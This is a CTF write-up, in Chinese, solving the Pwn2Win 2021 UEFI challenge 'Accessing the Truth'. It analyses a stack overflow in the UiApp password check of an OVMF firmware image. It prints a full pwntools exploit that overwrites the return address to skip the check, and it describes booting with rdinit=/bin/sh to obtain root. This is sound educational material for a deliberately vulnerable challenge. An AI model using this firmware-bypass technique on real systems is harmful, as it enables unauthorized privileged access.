Pwn2Win CTF 2021 Accessing the Truth的解题思路
本文首发于安全客:解决第一个UEFI PWN——Accessing the Truth解题思路
前段时间打了场PWN2WIN,期间遇到了这道BIOS题,正好来学习一下UEFI PWN
题目包含下列文件
题目分析
run.py
是题目给的启动脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| #!/usr/bin/python3 -u import random import string import subprocess import tempfile
def random_string(n): return ''.join(random.choice(string.ascii_lowercase) for _ in range(n))
def check_pow(bits): r = random_string(10) print(f"hashcash -mb{bits} {r}") solution = input("Solution: \n").strip() if subprocess.call(["hashcash", f"-cdb{bits}", "-r", r, solution], cwd="/tmp", stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) != 0: raise Exception("Invalid PoW")
#check_pow(25)
fname = tempfile.NamedTemporaryFile().name
subprocess.call(["cp", "OVMF.fd", fname]) try: subprocess.call(["chmod", "u+w", fname]) subprocess.call(["qemu-system-x86_64", "-monitor", "/dev/null", "-m", "64M", "-drive", "if=pflash,format=raw,file=" + fname, "-drive", "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], stderr=subprocess.DEVNULL, timeout=60) except: pass
subprocess.call(["rm", "-rf", fname]) print("Bye!")
|
注释掉pow,直接启动。启动起来是一个低权限用户的linux虚拟机,目标是获取根目录下flag.txt的内容,典型的内核题
仔细看启动命令,貌似没加载任何可疑的虚拟设备,排除掉QEMU逃逸
解开contents/initramfs.cpio
,看到init文件。这里有一条mount -t efivarfs efivarfs /sys/firmware/efi/efivars
,怀疑是UEFI PWN
另外,启动脚本里有60秒的timout,需要把这里干掉
解开OVMF
找到一个工具UEFITool能打开OVMF.fd,里面的文件貌似是PE32格式
binwalk也能识别出来是PE,无奈还是解不开,继续找工具
发现这工具能解开:UEFI Firmware Parser
1
| uefi-firmware-parser -ecO ./OVMF.fd
|
解开后发现一堆pe raw文件
定位到UiApp
既然是BIOS PWN,那就先进BIOS吧,启动时连按F12就进来了。
进BIOS以后有一个密码校验,过了应该就能进BIOS。此外,还发现了以下一些信息
拿UEFITool能搜到些信息
这里的id貌似能跟进BIOS的id对得上,这个应该是GUID
在解开的文件里搜462CAA21-7614-4503-836E-8AB6F4662331
,找到了这个目录
IDA打开section0.pe
,分析完以后这里选Unicode
查找字符串,就能看到Enter Password:
,可以确定section0.pe
就是UiApp这个登录校验程序
静态分析
校验程序有个sha256
漏洞点在:\n
不会让while循环break掉,同时index不断自增1,buf = &input_buf[index];
获取到的栈地址继续往后延,这样可能会覆盖到返回地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| int __cdecl main(int argc, const char **argv, const char **envp) { void *v3; // rsp void *v4; // rsp __int64 v5; // rdx __int64 v6; // r8 __int64 v7; // r9 size_t v8; // rdx __int64 v9; // r8 __int64 v10; // r9 char *buf; // rdx unsigned __int64 v12; // rax __int64 v13; // rdx __int64 v14; // r8 __int64 v15; // r9 char v17[7]; // [rsp+20h] [rbp-60h] BYREF char c; // [rsp+27h] [rbp-59h] char *input_buf; // [rsp+28h] [rbp-58h] __int64 v20; // [rsp+30h] [rbp-50h] char *v21; // [rsp+38h] [rbp-48h] __int64 v22; // [rsp+40h] [rbp-40h] size_t v23; // [rsp+48h] [rbp-38h] unsigned __int64 v24; // [rsp+50h] [rbp-30h] __int64 index; // [rsp+58h] [rbp-28h]
v24 = 0i64; index = -1i64; v23 = 32i64; v22 = 31i64; v3 = alloca(32i64); v21 = v17; v20 = 31i64; v4 = alloca(32i64); input_buf = v17; wputs(word_1395A, 15i64, 32i64, 0i64); while ( v24 <= 2 ) { sub_9D3(input_buf, v23, 0i64); index = -1i64; wputs(L"Enter Password: \n", v5, v6, v7); while ( 1 ) { c = getchar(); ++index; if ( c == '\r' ) break; if ( c != '\n' ) { buf = &input_buf[index]; *buf = c; wputs(L"*", buf, v9, v10); v12 = wstr_length(input_buf); v8 = v23 - 1; if ( v12 >= v23 - 1 ) break; } } wputs(L"\n", v8, v9, v10); sha256_process(input_buf, index, v21); if ( !((__int64 (__fastcall *)(char *, void *, size_t))memcmp)(v21, &unk_1B840, v23) ) return 1; wputs(L"Wrong!!\n", v13, v14, v15); ++v24; } return 0; }
|
UiApp没开ASLR和NX,溢出后直接在栈执行shellcode即可
Debug
启动脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import *
context.arch = "amd64" context.log_level = "debug"
tube.s = tube.send tube.sl = tube.sendline tube.sa = tube.sendafter tube.sla = tube.sendlineafter tube.r = tube.recv tube.ru = tube.recvuntil tube.rl = tube.recvline tube.ra = tube.recvall tube.rr = tube.recvregex tube.irt = tube.interactive
DEBUG = 1
if DEBUG == 0: fname = "/tmp/test_uefi" os.system("cp OVMF.fd %s" % (fname)) os.system("chmod u+w %s" % (fname))
p = process(["qemu-system-x86_64", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive", "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={}) elif DEBUG == 1: fname = "/tmp/test_uefi" os.system("cp OVMF.fd %s" % (fname)) os.system("chmod u+w %s" % (fname))
p = process(["qemu-system-x86_64", "-s", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive", "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={}) elif DEBUG == 2: p = remote('accessing-the-truth.pwn2win.party', 1337)
def exploit(): p.recvn(1) # sleep(1) p.send("\x1b[24~")
p.irt()
if __name__ == "__main__": exploit()
|
启动脚本加上-s
参数,进BIOS以后gdb attach上
问题就是怎么拿到UiApp的加载地址?尝试在gdb里搜这段数据
找到三个地址,这里的0x28ba990
比较可疑
减去Enter Password:
的offset,即0x28ba990-0x13990 = 0x28a7000
,然后以0x28a7000
为基址查看main函数的代码
可以断定0x28a7000
就是UiApp的加载基址
用0x28a7000
修正IDA分析的基址
在IDA打上断点,给UiApp发以下数据
1 2 3 4 5 6 7 8 9 10 11
| def exploit(): p.recvn(1) # sleep(1) p.send("\x1b[24~")
#print(p.recvuntil("Password"))
pause() p.sa('Password', 'A'*2+'\n'*2+'B'*0x18+'\r')
p.irt()
|
由于'\n'*2
,buf跳过了两个byte的地址,因而发送足够多\n
便可溢出到返回地址
Hijack to BIOS Booting
&buf = 0x3EBC650
距离返回地址0x3EBC6F0-0x3EBC650+8 = 0xa8
byte
这样构造便能覆盖到返回地址
1 2
| payload = b'\n'*0xa8 + p32(0xdeadbeaf) payload += b'\r'
|
控了rip以后,需要将rip劫持到BIOS正常启动的代码,这片代码便是过了校验后启动BIOS程序
对应的汇编代码,尝试劫持到0x28B0DD5
另外,发送/r
会导致break while,只要令v25>=3
即发送三次\r
便能跳出外层while并return。
现在已经看到能启动到BIOS了
但pwntools连接的图形操作还有问题,可以用socat来连
1
| socat -,raw,echo=0 SYSTEM:"python ./solve.py"
|
进入BIOS,增加一条启动项,启动内容加上rdinit=/bin/sh
,保存后选该启动项来启动系统
启动进入到系统,现在已经是root权限
打远程
Script
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
|
from pwn import *
context.arch = "amd64"
tube.s = tube.send tube.sl = tube.sendline tube.sa = tube.sendafter tube.sla = tube.sendlineafter tube.r = tube.recv tube.ru = tube.recvuntil tube.rl = tube.recvline tube.rn = tube.recvn tube.ra = tube.recvall tube.rr = tube.recvregex tube.irt = tube.interactive
DEBUG = 1
if DEBUG == 0: fname = "/tmp/test_uefi" os.system("cp OVMF.fd %s" % (fname)) os.system("chmod u+w %s" % (fname))
p = process(["qemu-system-x86_64", "-s", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive", "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={}) elif DEBUG == 1: p = remote('accessing-the-truth.pwn2win.party', 1337)
def pass_pow(): p.ru('hashcash -mb25') hash = p.rl().strip()
cmd = 'hashcash -mb25 '+hash.decode(encoding="utf-8") res = os.popen(cmd) cash = res.read() res.close()
p.sa('Solution:', cash)
def exploit(): pass_pow()
p.rn(1) p.s('\x1b[24~'*10)
payload = b'\n'*0xa8 + p32(0x28b0dd5) payload += b'\r'
p.sa('Password', payload)
payload = '\r' p.s(payload) p.s(payload)
p.irt()
if __name__ == "__main__": exploit()
|